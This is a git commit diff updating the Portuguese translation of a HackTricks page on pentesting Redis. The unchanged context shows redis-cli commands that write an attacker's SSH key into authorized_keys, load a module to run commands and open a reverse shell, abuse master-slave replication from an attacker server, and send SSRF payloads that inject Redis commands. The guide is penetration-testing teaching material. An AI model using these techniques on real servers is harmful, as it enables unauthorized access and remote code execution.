mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 23:20:49 +00:00
Translated ['network-services-pentesting/6379-pentesting-redis.md'] to p
This commit is contained in:
parent
db9b1b76ff
commit
fc9dde1d4d
1 changed files with 21 additions and 18 deletions
|
@ -6,23 +6,23 @@
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
|
||||
|
||||
**Percepções de Hacking**\
|
||||
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
|
||||
Envolver-se com conteúdo que explora a emoção e os desafios do hacking
|
||||
|
||||
**Notícias de Hacking em Tempo Real**\
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e percepções em tempo real
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
|
||||
|
||||
**Últimos Anúncios**\
|
||||
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
||||
|
@ -76,7 +76,7 @@ Além disso, observe que **não há como descobrir externamente** se o Redis foi
|
|||
{% endhint %}
|
||||
|
||||
Em casos como este, você precisará **encontrar credenciais válidas** para interagir com o Redis, então você poderia tentar [**força bruta**](../generic-methodologies-and-resources/brute-force.md#redis) nisso.\
|
||||
**Caso encontre credenciais válidas, você precisa autenticar a sessão** após estabelecer a conexão com o comando:
|
||||
**Caso encontre credenciais válidas, você precisará autenticar a sessão** após estabelecer a conexão com o comando:
|
||||
```bash
|
||||
AUTH <username> <password>
|
||||
```
|
||||
|
@ -124,20 +124,23 @@ KEYS *
|
|||
GET <KEY>
|
||||
[ ... Get Key ... ]
|
||||
```
|
||||
No caso de você receber o seguinte erro `-WRONGTYPE Operação contra uma chave que contém um tipo de valor errado` ao executar `GET <KEY>`, é porque a chave pode ser algo diferente de uma string ou um inteiro e requer um operador especial para exibi-la.
|
||||
No caso de você receber o seguinte erro `-WRONGTYPE Operation against a key holding the wrong kind of value` ao executar `GET <KEY>`, é porque a chave pode ser algo diferente de uma string ou um inteiro e requer um operador especial para exibi-la.
|
||||
|
||||
Para saber o tipo da chave, use o comando `TYPE`, exemplo abaixo para chaves de lista e hash.
|
||||
```
|
||||
```bash
|
||||
TYPE <KEY>
|
||||
[ ... Type of the Key ... ]
|
||||
LRANGE <KEY> 0 -1
|
||||
[ ... Get list items ... ]
|
||||
HGET <KEY> <FIELD>
|
||||
[ ... Get hash item ... ]
|
||||
|
||||
# If the type used is weird you can always do:
|
||||
DUMP <key>
|
||||
```
|
||||
**Despeje o banco de dados com npm** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **ou python** [**redis-utils**](https://pypi.org/project/redis-utils/)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs!
|
||||
|
||||
|
@ -204,7 +207,7 @@ Exemplo [daqui](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
|
|||
|
||||
Por favor, esteja ciente de que o resultado de **`config get dir`** pode ser alterado após outros comandos de exploração manual. Sugiro executá-lo primeiro logo após fazer login no Redis. No resultado de **`config get dir`** você pode encontrar o **diretório home** do **usuário redis** (geralmente _/var/lib/redis_ ou _/home/redis/.ssh_), e sabendo disso você sabe onde pode escrever o arquivo `authenticated_users` para acessar via ssh **com o usuário redis**. Se você souber o diretório home de outro usuário válido onde você tem permissões de escrita, você também pode abusar disso:
|
||||
|
||||
1. Gere um par de chaves pública-privada ssh em seu computador: **`ssh-keygen -t rsa`**
|
||||
1. Gere um par de chaves pública-privada ssh em seu pc: **`ssh-keygen -t rsa`**
|
||||
2. Escreva a chave pública em um arquivo: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
|
||||
3. Importe o arquivo para o redis: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
|
||||
4. Salve a chave pública no arquivo **authorized\_keys** no servidor redis:
|
||||
|
@ -241,7 +244,7 @@ Este método também pode ser usado para ganhar bitcoin: [yam](https://www.v2ex.
|
|||
|
||||
1. Seguindo as instruções de [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) você pode **compilar um módulo redis para executar comandos arbitrários**.
|
||||
2. Em seguida, você precisa de alguma forma de **fazer upload do módulo compilado**
|
||||
3. **Carregue o módulo** carregado em tempo de execução com `MODULE LOAD /caminho/para/mymodule.so`
|
||||
3. **Carregue o módulo** carregado em tempo de execução com `MODULE LOAD /caminho/para/meumodulo.so`
|
||||
4. **Liste os módulos carregados** para verificar se foi carregado corretamente: `MODULE LIST`
|
||||
5. **Execute** **comandos**:
|
||||
|
||||
|
@ -252,11 +255,11 @@ Este método também pode ser usado para ganhar bitcoin: [yam](https://www.v2ex.
|
|||
"root\n"
|
||||
127.0.0.1:6379> system.rev 127.0.0.1 9999
|
||||
```
|
||||
6. Descarregue o módulo sempre que desejar: `MODULE UNLOAD mymodule`
|
||||
6. Descarregue o módulo sempre que desejar: `MODULE UNLOAD meumodulo`
|
||||
|
||||
### Bypass de Sandbox LUA
|
||||
|
||||
[**Aqui**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) você pode ver que o Redis usa o comando **EVAL** para executar **código Lua em sandbox**. No post vinculado, você pode ver **como abusar disso** usando a função **dofile**, mas [aparentemente](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) isso não é mais possível. De qualquer forma, se você puder **burlar o sandbox Lua**, poderá **executar comandos arbitrários** no sistema. Além disso, no mesmo post, você pode ver algumas **opções para causar DoS**.
|
||||
[**Aqui**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) você pode ver que o Redis usa o comando **EVAL** para executar **código Lua em sandbox**. No post vinculado, você pode ver **como abusar disso** usando a função **dofile**, mas [aparentemente](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) isso não é mais possível. De qualquer forma, se você puder **burlar o sandbox** Lua, poderá **executar comandos arbitrários** no sistema. Além disso, no mesmo post, você pode ver algumas **opções para causar DoS**.
|
||||
|
||||
Alguns **CVEs para escapar do LUA**:
|
||||
|
||||
|
@ -264,7 +267,7 @@ Alguns **CVEs para escapar do LUA**:
|
|||
|
||||
### Módulo Mestre-Escravo
|
||||
|
||||
O redis mestre sincroniza automaticamente todas as operações para o redis escravo, o que significa que podemos considerar a vulnerabilidade do redis como um redis escravo, conectado ao redis mestre que controlamos, então podemos inserir o comando no nosso próprio redis.
|
||||
O redis mestre sincroniza automaticamente todas as operações com o redis escravo, o que significa que podemos considerar a vulnerabilidade do redis como um redis escravo, conectado ao redis mestre que controlamos, então podemos inserir o comando no nosso próprio redis.
|
||||
```
|
||||
master redis : 10.85.0.51 (Hacker's Server)
|
||||
slave redis : 10.85.0.52 (Target Vulnerability Server)
|
||||
|
@ -278,7 +281,7 @@ set mykey2 helloworld
|
|||
```
|
||||
## SSRF falando com o Redis
|
||||
|
||||
Se você pode enviar uma solicitação em **texto claro** **para o Redis**, você pode **comunicar com ele** pois o Redis lerá linha por linha a solicitação e apenas responderá com erros às linhas que não entender:
|
||||
Se você pode enviar uma solicitação em **texto claro** **para o Redis**, você pode **comunicar-se com ele** pois o Redis lerá linha por linha a solicitação e apenas responderá com erros às linhas que não entender:
|
||||
```
|
||||
-ERR wrong number of arguments for 'get' command
|
||||
-ERR unknown command 'Host:'
|
||||
|
@ -307,7 +310,7 @@ git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agit
|
|||
```
|
||||
_Por alguma razão (como para o autor de_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _de onde essa informação foi retirada), a exploração funcionou com o esquema `git` e não com o esquema `http`._
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs!
|
||||
|
||||
|
@ -318,7 +321,7 @@ Engaje-se com conteúdo que mergulha na emoção e desafios do hacking
|
|||
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
|
||||
|
||||
**Últimos Anúncios**\
|
||||
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
||||
Fique informado sobre os mais novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
||||
|
||||
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
||||
|
||||
|
@ -331,7 +334,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue